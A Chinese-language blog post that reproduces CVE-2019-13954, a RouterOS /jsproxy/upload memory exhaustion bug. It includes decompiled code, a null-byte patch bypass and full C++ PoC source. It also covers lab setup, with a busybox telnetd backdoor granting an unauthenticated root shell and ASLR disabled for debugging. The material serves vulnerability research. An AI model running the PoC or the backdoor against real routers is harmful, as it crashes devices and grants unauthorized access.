MikroTik RouterOS-CVE-2019-13954漏洞复现

产品描述:

MikroTik RouterOS是一种路由操作系统,并通过该软件将标准的PC电脑变成专业路由器,软件经历了多次更新和改进,其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的表现,其极高的性价比,受到许多网络人士的青睐。RouterOS具备现有路由系统的大部分功能,能针对网吧、企业、小型ISP接入商、社区等网络设备的接入,基于标准的x86构架。

漏洞利用分析:

漏洞描述

CVE-2019-13954MikroTik RouterOS中存在的一个memory exhaustion漏洞。认证的用户通过构造并发送一个特殊的POST请求,服务程序在处理POST请求时会陷入”死”循环,造成memory exhaustion,导致对应的服务程序崩溃或者系统重启。

漏洞原理

根据漏洞公告中提到的"/jsproxy/upload",在6.42.11版本中:

int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
//...
 while ( 1 )
  {
    sub_51F7(v37, &s1); //读取POST请求
    if ( !s1 )
      break;
    v14 = -1;
    v15 = &s1;
    do
    {
      if ( !v14 )
        break;
      v16 = *v15++ == 0;
      --v14;
    }
    while ( !v16 );
    if ( v14 != 0x100u )    //数据长度限制
    {
      v36 = 0;
      string::string((string *)&v46, &s1);
      v17 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);
      string::freeptr((string *)&v46);
      if ( v17 )
        continue;
    }
    string::string((string *)&v46, "");
    Response::sendError(a4, 400, (const string *)&v46);
    string::freeptr((string *)&v46);
LABEL_60:
    tree_base::clear(v19, v18, &v47, map_node_destr<string,HeaderField>);
    goto LABEL_61;
  }
  //...
}

相较于之前版本6.40.5,增加了对读取的POST请求数据长度的判断:当长度超过0x100(包括最后的'\x00')时,会跳出while循环。

6.40.5版本:

int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
    // ...
    while ( 1 )
    {
        sub_77464E9F(v27, (char *)s1);   // 读取POST请求数据
        if ( !LOBYTE(s1[0]) )
            break;
        string::string((string *)&v36, (const char *)s1);
        v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36);
        string::freeptr((string *)&v36);
        if ( !v11 )
        {
            string::string((string *)&v36, "");
            Response::sendError(a4, 400, (const string *)&v36);
            string::freeptr((string *)&v36);
        LABEL_56:
            tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>);
            goto LABEL_57;
        }
    }
    // ...
}

看到sub_51F7函数:

char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
  const char *v2; // esi
  char *result; // eax
  unsigned int v4; // ecx

  v2 = a2;
  istream::getline(a1, a2, 0x100u, 10);
  result = 0;
  v4 = strlen(v2) + 1;
  if ( v4 != 1 )
  {
    result = (char *)&v2[v4 - 2];
    if ( *result == 13 )
      *result = 0;
  }
  return result;
}

对于补丁前来讲,我们要让程序一直循环有两个条件

  • 调用sub_51F7,未读取到数据
  • 调用Headers::parseHeaderLine(),解析失败

其中第一个很好满足,只需要有输入即可。至于第二个条件hederline解析失败,从POC来看可以大概推断出,由于getline没有接到换行,会认为io失败,输入流关闭,此时调用相当于直接返回。而headerline解析由于没有接收到换行就会一直解析导致循环不能退出。

而在补丁后增加了对字符长度的判断,察觉到输入大于0x100字节就会直接退出循环。

正常getline是以回车,\0截止。

  • 遇到\0直接截止。

  • 遇到回车截止然后把回车替换成\0

因此代码是以读到\0来判断数组长度,若在读到\0之前大于了0x100个字节,就直接退出循环了。因此我们可以直接在payload里加入\0,就能绕过这个判断。

但是问题来了,如果我们在payload里加入了\0,getline直接截止了,我们就不能让数组长度大于0x100,那么最基础的触发条件都没了。

不过输入多个\0会让getline识别成\\字符。那这样就不存在截止的问题了,而且可以绕过补丁判断,同时数组大小大于0x100。

因此,只需要在filename参数后面追加大量的'\x00',即可绕过补丁,再次触发该漏洞。

POC

#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>

#include "jsproxy_session.hpp"
#include "winbox_message.hpp"

namespace
{
    const char s_version[] = "CVE-2019-13954 PoC 1.1.0";

    bool parseCommandLine(int p_argCount, const char* p_argArray[],
                          std::string& p_username, std::string& p_password,
                          std::string& p_ip, std::string& p_port)
    {
        boost::program_options::options_description description("options");
        description.add_options()
        ("help,h", "A list of command line options")
        ("version,v", "Display version information")
        ("username,u", boost::program_options::value<std::string>(), "The user to log in as")
        ("password", boost::program_options::value<std::string>(), "The password to log in with")
        ("port,p", boost::program_options::value<std::string>()->default_value("80"), "The HTTP port to connect to")
        ("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to");

        boost::program_options::variables_map argv_map;
        try
        {
            boost::program_options::store(
                boost::program_options::parse_command_line(
                    p_argCount, p_argArray, description), argv_map);
        }
        catch (const std::exception& e)
        {
            std::cerr << e.what() << "\n" << std::endl;
            std::cerr << description << std::endl;
            return false;
        }

        boost::program_options::notify(argv_map);
        if (argv_map.empty() || argv_map.count("help"))
        {
            std::cerr << description << std::endl;
            return false;
        }

        if (argv_map.count("version"))
        {
            std::cerr << "Version: " << ::s_version << std::endl;
            return false;
        }

        if (argv_map.count("username") && argv_map.count("ip") &
            argv_map.count("port"))
        {
            p_username.assign(argv_map["username"].as<std::string>());
            p_ip.assign(argv_map["ip"].as<std::string>());
            p_port.assign(argv_map["port"].as<std::string>());

            if (argv_map.count("password"))
            {
                p_password.assign(argv_map["password"].as<std::string>());
            }
            else
            {
                p_password.assign("");
            }
            return true;
        }
        else
        {
            std::cerr << description << std::endl;
        }

        return false;
    }
}

int main(int p_argc, const char** p_argv)
{
    std::string username;
    std::string password;
    std::string ip;
    std::string port;
    if (!parseCommandLine(p_argc, p_argv, username, password, ip, port))
    {
        return EXIT_FAILURE;
    }

    JSProxySession jsSession(ip, port);
    if (!jsSession.connect())
    {
        std::cerr << "Failed to connect to the remote host" << std::endl;
        return EXIT_FAILURE;
    }

    // generate the session key but don't log in
    if (!jsSession.negotiateEncryption(username, password, false))
    {
        std::cerr << "Encryption negotiation failed." << std::endl;
        return EXIT_FAILURE;
    }

    std::string filename;
    for (int i = 0; i < 0x50; i++)
    {
      filename.push_back('A');
    }

    for (int i = 0; i < 0x100; i++)
    {
      filename.push_back('\x00');
    }

    if (jsSession.uploadFile(filename, "lol."))
    {
        std::cout << "success!" << std::endl;
    }

    return EXIT_SUCCESS;
}

环境搭建&漏洞复现:

RouterOS环境搭建

CVE-2019-13954可在系统版本6.42.11验证

MikroTik RouterOS镜像下载地址:https://mikrotik.com/download

利用VMware虚拟机安装镜像,按a,选择所有,然后i安装,后续都默认y就行

安装成功后进入登陆页面,用户名是admin,密码为空

虚拟机修改为NAT模式,和ubuntu在同一子网下

虚拟机获取ip

ip dhcp-client add interface=ether disabled=no

查看虚拟机获取的ip

ip dhcp-client print detail

获取完整shell

文件下载

搭建起仿真环境后,由于RouterOS自带的命令行界面比较受限,只能执行特定的命令,不便于后续进一步的分析和调试,因此还需要想办法获取设备的root shell

我们需要下载busybox(用于开root后门)、gdbserver.i686(远程调试)

busybox:wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox

除了busybox,我们还可以通过https://github.com/tenable/routeros下的`cleaner_wrasse`利用漏洞开启后门

gdbserver.i686下载地址:https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686

硬盘挂载

这里我们使用ubuntu挂载routeros的磁盘,在ubuntu的虚拟机设置中添加routeros的硬盘,此时需要将routeros关机。

挂载完成后,使用命令行访问挂载磁盘,将busybox和gdbserver复制到/rw/disk并赋予权限777

在/rw目录下编写一个DEFCONF脚本,用来使RouterOS开机运行后门,RouterOS每次开机都会运行DEFCONF这个文件,但是重启之后会失效。我们可以在设置完成后开启快照。

ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;

此时,我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了

telnet ip port

漏洞文件获取

在通过后门登陆后,查看www和jsproxy.p所在的位置

find / -name www
find / -name jsproxy.p

这里可以通过工具Chimay-Red从官网上提取6.42.11版本的www、jsproxy.p

./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_1
./tools/getROSbin.py 6.42.11 x86 /nova/lib/www/jsproxy.p www_binary_2

编译生成POC

下载地址:https://github.com/tenable/routeros

依赖环境:

  • Boost 1.66 or higher
  • cmake

安装Boost:

Ubuntu:

sudo apt-get install libboost-dev

需要提醒的是gcc版本需要高于6,否则会导致编译失败

编译生成cve_2019_13954的poc

cd cve_2019_13954
mkdir build
cd build
cmake ..
make

编译成功后即可使用,使用方式

这里我们使用:

./cve_2019_13954_poc -i 192.168.111.17 -u admin

漏洞验证

与该漏洞相关的程序为www,在设备上利用gdbserver附加到该进程进行远程调试,然后运行对应的PoC脚本,发现系统直接重启。

在调试验证的过程中注意Linux默认开启了ASLR保护机制(操作系统用来抵御缓冲区溢出攻击的内存保护机制),为了方便找地址,关掉ASLR

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

通过后门busybox登陆routeros,查看www的进程pid后,开启gdbserver附加www:

./gdbserver.i686 localhost:1234 --attach 267

此时在ubuntu上开启gdb,准备调试,设置架构为i386,目标主机为192.168.0.113,端口为1234

gdb
set architecture i386
target remote 192.168.111.17:1234

同时本地运行POC,info proc mappings查看当前已经加载的模块,可以看到jsproxy已经加载进来了

./cve_2019_13954_poc -i 192.168.111.17 -u admin

在ida中找到要断点的函数的偏移地址,从doUpload函数断点,偏移量为8D08

那么我们将mappings中jsproxy的基地址加上偏移地址就ok了,对其断点

b *0x774f9000+0x8D08

c一下发现系统直接重启了

参考资源:

https://cq674350529.github.io/2019/08/15/CVE-2018-1158-MikroTik-RouterOS%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E5%8F%91%E7%8E%B0CVE-2019-13955/

https://www.anquanke.com/post/id/254635#h3-8

https://github.com/BigNerd95/Chimay-Red

https://github.com/tenable/routeros

https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1

https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6

https://github.com/cq674350529/pocs_slides/tree/master/advisory/MikroTik

https://raw.githubusercontent.com/tenable/routeros/master/slides/bug_hunting_in_routeros_derbycon_2018.pdf

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖